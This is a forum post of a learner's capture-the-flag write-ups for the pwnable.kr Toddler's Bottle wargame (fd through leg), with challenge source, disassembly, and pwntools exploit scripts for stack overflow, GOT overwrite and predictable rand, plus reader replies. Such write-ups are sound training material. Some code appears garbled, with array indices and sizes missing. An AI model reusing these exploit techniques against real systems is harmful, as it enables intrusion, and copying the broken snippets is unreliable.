Yirannn's pwnable入门笔记(0x01-0x08)
# pwnable.kr Toddler's Bottle 0x08因为又打算拓宽技术栈嘛, 这两天开了Win内核和pwn的坑, 学长推荐从pwnable.kr看起, 那就pwn它一pwn好了
52pojie上, 16年是有人写过Toddler's Bottle的, 但是就到第五题(而且有些地方不太对劲...), 这里就不删了
## Toddler's Bottle
### 0x01. fd
!(https://tianyu.xin/usr/uploads/2022/03/2263722440.png)
给了一个bin, 一个源代码, 如果输入符合条件可以catflag,fd = argv转int后-0x1234, 然后从这里read
显然我们构造一个stdin进去就好了
!(https://tianyu.xin/usr/uploads/2022/03/3554760697.png)
把0x1234放para里, 然后他就从stdin读buf, buf是LETMEWIN就好了
### 0x02. collision
题型一样的, 这是代码
!(https://tianyu.xin/usr/uploads/2022/03/2170791614.png)
扔进去20个字符, 每四个一组按int解释, 最后加和要是0x21DD09EC
一开始直接扔进去21DD09EC发现不行, 因为后面00会导致strlen长度不对
那没事, 第一个扔进去0x21DD09EC-0x01010101*4, 后面16个char全写0x1
!(https://tianyu.xin/usr/uploads/2022/03/3819112644.png)
注意一下端序问题, 这个int的内存排布应该是E8 05 D9 1D
!(https://tianyu.xin/usr/uploads/2022/03/456814759.png)
### 0x03. bof
```cpp
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme;
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
```
很显然的栈溢出
!(https://tianyu.xin/usr/uploads/2022/03/500670385.png)
从s盖到arg_0, 让arg_0是0xCAFEBABE就可以了, 0x2C+0x8
!(https://tianyu.xin/usr/uploads/2022/03/459622700.png)
大意了, 有Canary, 不过这个ret2text应该不会受canary影响, 我把52写成0x52了
```python
from pwn import *
# proc = process('./bof')
proc = remote('pwnable.kr', 9000)
# context.log_level = 'debug'
payload = b'A' * 52 + p32(0xCAFEBABE)
proc.sendline(payload)
proc.interactive()
```
!(https://tianyu.xin/usr/uploads/2022/03/3894215250.png)
### 0x04. flag
逆向题, 这是老本行啊, 64壳, 晕, 我最讨厌壳了. 进去看到这个
!(https://tianyu.xin/usr/uploads/2022/03/2940761926.png)
啊, 那没事了, upx -d 一把梭
!(https://tianyu.xin/usr/uploads/2022/03/2289875629.png)
没有任何难度.
### 0x05. passcode
```cpp
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
system("/bin/cat flag");
}
}
void welcome(){
char name;
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
```
只留关键函数了, 第一眼被骗了, 把338150输入上去发现段错误, 是passcode前面没有&
!(https://tianyu.xin/usr/uploads/2022/03/2144622346.png)
先调用welcome后调用login, 我猜测如果对name做合适的写的话, name的值会保留在栈上, 如果我们能知道这两个函数的内存排布, 把passcode1和passcode2的值都改成它们的地址, 那scanf的时候就正确了, AT&T格式差点给我看吐了, 还是Intel好
```asm
08048564 <login>:
8048564: 55 push ebp
8048565: 89 e5 mov ebp,esp
8048567: 83 ec 28 sub esp,0x28
804856a: b8 70 87 04 08 mov eax,0x8048770
804856f: 89 04 24 mov DWORD PTR ,eax
8048572: e8 a9 fe ff ff call 8048420 <printf@plt>
8048577: b8 83 87 04 08 mov eax,0x8048783
804857c: 8b 55 f0 mov edx,DWORD PTR
804857f: 89 54 24 04 mov DWORD PTR ,edx
8048583: 89 04 24 mov DWORD PTR ,eax
8048586: e8 15 ff ff ff call 80484a0 <__isoc99_scanf@plt>
804858b: a1 2c a0 04 08 mov eax,ds:0x804a02c
8048590: 89 04 24 mov DWORD PTR ,eax
8048593: e8 98 fe ff ff call 8048430 <fflush@plt>
8048598: b8 86 87 04 08 mov eax,0x8048786
804859d: 89 04 24 mov DWORD PTR ,eax
80485a0: e8 7b fe ff ff call 8048420 <printf@plt>
80485a5: b8 83 87 04 08 mov eax,0x8048783
80485aa: 8b 55 f4 mov edx,DWORD PTR
80485ad: 89 54 24 04 mov DWORD PTR ,edx
80485b1: 89 04 24 mov DWORD PTR ,eax
80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt>
80485b9: c7 04 24 99 87 04 08 mov DWORD PTR ,0x8048799
80485c0: e8 8b fe ff ff call 8048450 <puts@plt>
80485c5: 81 7d f0 e6 28 05 00 cmp DWORD PTR ,0x528e6
80485cc: 75 23 jne 80485f1 <login+0x8d>
80485ce: 81 7d f4 c9 07 cc 00 cmp DWORD PTR ,0xcc07c9
80485d5: 75 1a jne 80485f1 <login+0x8d>
80485d7: c7 04 24 a5 87 04 08 mov DWORD PTR ,0x80487a5
80485de: e8 6d fe ff ff call 8048450 <puts@plt>
80485e3: c7 04 24 af 87 04 08 mov DWORD PTR ,0x80487af
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
80485ef: c9 leave
80485f0: c3 ret
80485f1: c7 04 24 bd 87 04 08 mov DWORD PTR ,0x80487bd
80485f8: e8 53 fe ff ff call 8048450 <puts@plt>
80485fd: c7 04 24 00 00 00 00 mov DWORD PTR ,0x0
8048604: e8 77 fe ff ff call 8048480 <exit@plt>
08048609 <welcome>:
8048609: 55 push ebp
804860a: 89 e5 mov ebp,esp
804860c: 81 ec 88 00 00 00 sub esp,0x88
8048612: 65 a1 14 00 00 00 mov eax,gs:0x14
8048618: 89 45 f4 mov DWORD PTR ,eax
804861b: 31 c0 xor eax,eax
804861d: b8 cb 87 04 08 mov eax,0x80487cb
8048622: 89 04 24 mov DWORD PTR ,eax
8048625: e8 f6 fd ff ff call 8048420 <printf@plt>
804862a: b8 dd 87 04 08 mov eax,0x80487dd
804862f: 8d 55 90 lea edx,
8048632: 89 54 24 04 mov DWORD PTR ,edx
8048636: 89 04 24 mov DWORD PTR ,eax
8048639: e8 62 fe ff ff call 80484a0 <__isoc99_scanf@plt>
804863e: b8 e3 87 04 08 mov eax,0x80487e3
8048643: 8d 55 90 lea edx,
8048646: 89 54 24 04 mov DWORD PTR ,edx
804864a: 89 04 24 mov DWORD PTR ,eax
804864d: e8 ce fd ff ff call 8048420 <printf@plt>
8048652: 8b 45 f4 mov eax,DWORD PTR
8048655: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14
804865c: 74 05 je 8048663 <welcome+0x5a>
804865e: e8 dd fd ff ff call 8048440 <__stack_chk_fail@plt>
8048663: c9 leave
8048664: c3 ret
08048665 <main>:
8048665: 55 push ebp
8048666: 89 e5 mov ebp,esp
8048668: 83 e4 f0 and esp,0xfffffff0
804866b: 83 ec 10 sub esp,0x10
804866e: c7 04 24 f0 87 04 08 mov DWORD PTR ,0x80487f0
8048675: e8 d6 fd ff ff call 8048450 <puts@plt>
804867a: e8 8a ff ff ff call 8048609 <welcome>
804867f: e8 e0 fe ff ff call 8048564 <login>
8048684: c7 04 24 18 88 04 08 mov DWORD PTR ,0x8048818
804868b: e8 c0 fd ff ff call 8048450 <puts@plt>
8048690: b8 00 00 00 00 mov eax,0x0
8048695: c9 leave
8048696: c3 ret
```
可以看到passcode1和2分别在ebp-0x10, ebp-0xC处, 而buf在ebp-0x70, 只能改到0xC 所以我们只能改passcode1, 但是呢, scanf到passcode1的这个操作还会是的我们又能任意地址写一次.
可能这么说让你有些凌乱, 继续看下去:
没有地址随机化这可以让我们完成这个攻击流程:
通过对name的输入把passcode1的初始值改为printf函数, -> 进入login会使得向printf这个函数的got表地址写入一个int, 我们把这个int构造到0x80485e3,
这样当调用printf的时候实际上是call 0x80485e3, 也就会直接走向system了.
构造这样的exp:
```python
>>> from pwn import *
>>> proc = process('./passcode')
Starting local process './passcode'
[+] Starting local process './passcode': pid 56911
>>> printf_got = 0x804A000
>>> sys_addr = 0x80485e3
>>> payload = 'A' * 96 + p32(printf_got)+ '\n'
>>> proc.sendline(payload)
>>> proc.recvline()
"Toddler's Secure Login System 1.0 beta.\n"
>>> proc.recvline()
'enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!\n'
>>> payload = str(sys_addr) + '\n'
>>> proc.sendline(payload)
>>> proc.recvline
<bound method process.recvline of <pwnlib.tubes.process.process object at 0x7f6ae66acf90>>
>>> proc.recvline()
[*] Process './passcode' stopped with exit code 0 (pid 56911)
'Sorry mom.. I got confused about scanf usage :(\n'
```
### 0x06. random
```c
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
```
众所周知C的随机数是伪随机, 别说用time0做种子能攻击, 这个根本不设置种子必死啊
本地直接一个rand测试一下第一个rand是0x6b8b4567
!(https://tianyu.xin/usr/uploads/2022/03/45081462.png)
输入即可
!(https://tianyu.xin/usr/uploads/2022/03/2381366468.png)
### 0x07. input
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf;
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
```
五个阶段, 第一个阶段要求有100个para, 其中0x41为\x00, 0x42是\x20, \x0a, \x0d, 不难
```python
para = ['\x00'] * 100
para = './input'
para = '\x20\x0a\x0d'
proc = process(para)
proc.recvuntil('clear!\n')
```
第二阶段要求向stdin和stderr分别写入两段数据
```python
proc=process(para, stderr=PIPE)
proc.sendline('\x00\x0a\x00\xff')
proc.stderr.write('\x00\x0a\x02\xff')
proc.recvline()
```
emm.. 这个stderr不让我写啊.. 换个方式
```python
rer, wer = os.pipe()
os.write(wer, '\x00\x0a\x02\xff')
```
顺便把env也带上
```python
from pwn import *
import os
para = ['\x00'] * 100
para = './input'
para = '\x20\x0a\x0d'
rer, wer = os.pipe()
os.write(wer, '\x00\x0a\x02\xff')
env = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
proc.sendline('\x00\x0a\x00\xff')
proc.recvuntil('clear!\n')
```
!(https://tianyu.xin/usr/uploads/2022/03/2073966528.png)
第四关是提供一个名字0xa的文件句柄, 让它读4个\x00, 啥也不是
```python
fp = open("\x0a", "wb")
fp.write('\x00\x00\x00\x00')
fp.close()
```
!(https://tianyu.xin/usr/uploads/2022/03/2065295958.png)
额, 这是题目bug吧.. 我没权限怎么搞
!(https://tianyu.xin/usr/uploads/2022/03/1930943731.png)
当前目录没戏了, 看看tmp
!(https://tianyu.xin/usr/uploads/2022/03/412152481.png)
tmp可以, 写! 不过不能读就离谱
```python
fp = open("/tmp/\x0a", "wb")
fp.write('\x00\x00\x00\x00')
fp.close()
para = '/home/input2/input'
proc = process(para, stderr = rer, env = env, cwd="/tmp/")
```
!(https://tianyu.xin/usr/uploads/2022/03/2098716382.png)
第五个阶段是socket服务端, 客户端连上来给个deadbeef, 端口是argv, 这里直接整理一个完整的exp
```python
from pwn import *
import os
para = ['\x00'] * 100
para = './input'
para = '\x20\x0a\x0d'
para = '1245'
rer, wer = os.pipe()
os.write(wer, '\x00\x0a\x02\xff')
env = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
fp = open("/tmp/\x0a", "wb")
fp.write('\x00\x00\x00\x00')
fp.close()
para = '/home/input2/input'
proc = process(para, stderr = rer, env = env, cwd="/tmp/")
proc.sendline('\x00\x0a\x00\xff')
proc.recvuntil('clear!\n')
proc.recvuntil('clear!\n')
proc.recvuntil('clear!\n')
proc.recvuntil('clear!\n')
s = socket.socket()
s.connect(('localhost', 1245))
s.send('\xde\xad\xbe\xef')
proc.interactive()
```
不对, 这还是有bug, 改工作目录之后读不到flag, 来个软链接
```sh
ln -s /home/input2/flag /tmp/flag
```
### 0x08. leg
```cpp
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf;
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
```
key1 :
!(https://tianyu.xin/usr/uploads/2022/03/2318573571.png)
0x8cdc+8
!(https://tianyu.xin/usr/uploads/2022/03/2455125123.png)
太坑了...我不知道这件事
key2 :
!(https://tianyu.xin/usr/uploads/2022/03/1672556856.png)
r6 : 0x8cfc+0x8+0x1 = 0x8D05, bx转thumb, pc = 8d08, r3 = pc+4 = 8d0c
!(https://tianyu.xin/usr/uploads/2022/03/658555752.png)
返回地址, 记得再下一条
!(https://tianyu.xin/usr/uploads/2022/03/1695908230.png)
ans = 0x8d0c + 0x8ce4 + 0x8d80 = 108400
!(https://tianyu.xin/usr/uploads/2022/03/1773426753.png)
难度倒是不大, 但是这个arm pc的问题实在是没见过, 长见识了 icjhao 发表于 2022-3-30 06:55
学这个需要什么参考什么教材吗
我没有什么参考教材, 学一点基础的操作系统知识就去CTF-wiki上看了 谢谢分享,支持一下 感谢楼主分享!收藏了 谢谢分享,支持一下
不是不让记笔记了 谢谢分享,支持一下 支持一下! JieW_L 发表于 2022-3-29 10:03
不是不让记笔记了
那改个名, 题解 谢谢楼主的分享
页:
[1]
2